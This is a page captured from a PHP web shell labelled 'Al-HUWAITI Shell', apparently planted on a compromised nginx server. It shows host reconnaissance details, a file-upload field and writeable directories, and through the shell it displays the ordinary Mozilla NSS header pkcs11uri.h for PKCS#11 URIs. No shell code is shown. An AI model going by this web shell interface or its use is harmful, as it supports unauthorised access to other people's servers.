Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/thread-self/root/usr/include/nss/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/include/nss/pkcs11uri.h
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#ifndef _PKCS11URI_H_
#define _PKCS11URI_H_ 1

#include "seccomon.h"

/* Path attributes defined in RFC7512. */
#define PK11URI_PATTR_TOKEN "token"
#define PK11URI_PATTR_MANUFACTURER "manufacturer"
#define PK11URI_PATTR_SERIAL "serial"
#define PK11URI_PATTR_MODEL "model"
#define PK11URI_PATTR_LIBRARY_MANUFACTURER "library-manufacturer"
#define PK11URI_PATTR_LIBRARY_DESCRIPTION "library-description"
#define PK11URI_PATTR_LIBRARY_VERSION "library-version"
#define PK11URI_PATTR_OBJECT "object"
#define PK11URI_PATTR_TYPE "type"
#define PK11URI_PATTR_ID "id"
#define PK11URI_PATTR_SLOT_MANUFACTURER "slot-manufacturer"
#define PK11URI_PATTR_SLOT_DESCRIPTION "slot-description"
#define PK11URI_PATTR_SLOT_ID "slot-id"

/* Query attributes defined in RFC7512. */
#define PK11URI_QATTR_PIN_SOURCE "pin-source"
#define PK11URI_QATTR_PIN_VALUE "pin-value"
#define PK11URI_QATTR_MODULE_NAME "module-name"
#define PK11URI_QATTR_MODULE_PATH "module-path"

SEC_BEGIN_PROTOS

/* A PK11URI object is an immutable structure that holds path and
 * query attributes of a PKCS#11 URI. */
struct PK11URIStr;
typedef struct PK11URIStr PK11URI;

struct PK11URIAttributeStr {
    const char *name;
    const char *value;
};
typedef struct PK11URIAttributeStr PK11URIAttribute;

/* Create a new PK11URI object from a set of attributes. */
extern PK11URI *PK11URI_CreateURI(const PK11URIAttribute *pattrs,
                                  size_t num_pattrs,
                                  const PK11URIAttribute *qattrs,
                                  size_t num_qattrs);

/* Parse PKCS#11 URI and return a new PK11URI object. */
extern PK11URI *PK11URI_ParseURI(const char *string);

/* Format a PK11URI object to a string. */
extern char *PK11URI_FormatURI(PLArenaPool *arena, PK11URI *uri);

/* Destroy a PK11URI object. */
extern void PK11URI_DestroyURI(PK11URI *uri);

/* Retrieve a path attribute with the given name. This function can be used only
 * when we can assume that the attribute value is a string (such as "label" or
 * "type"). If it can be a binary blob (such as "id"), use
 * PK11URI_GetPathAttributeItem.
 */
extern const char *PK11URI_GetPathAttribute(PK11URI *uri, const char *name);

/* Retrieve a query attribute with the given name. This function can be used
 * only when we can assume that the attribute value is a string (such as
 * "module-name").  If it can be a binary blob, use
 * PK11URI_GetQueryAttributeItem.*/
extern const char *PK11URI_GetQueryAttribute(PK11URI *uri, const char *name);

/* Retrieve a path attribute with the given name as a SECItem. */
extern const SECItem *PK11URI_GetPathAttributeItem(PK11URI *uri, const char *name);

/* Retrieve a query attribute with the given name as a SECItem. */
extern const SECItem *PK11URI_GetQueryAttributeItem(PK11URI *uri, const char *name);

SEC_END_PROTOS

#endif /* _PKCS11URI_H_ */

Al-HUWAITI Shell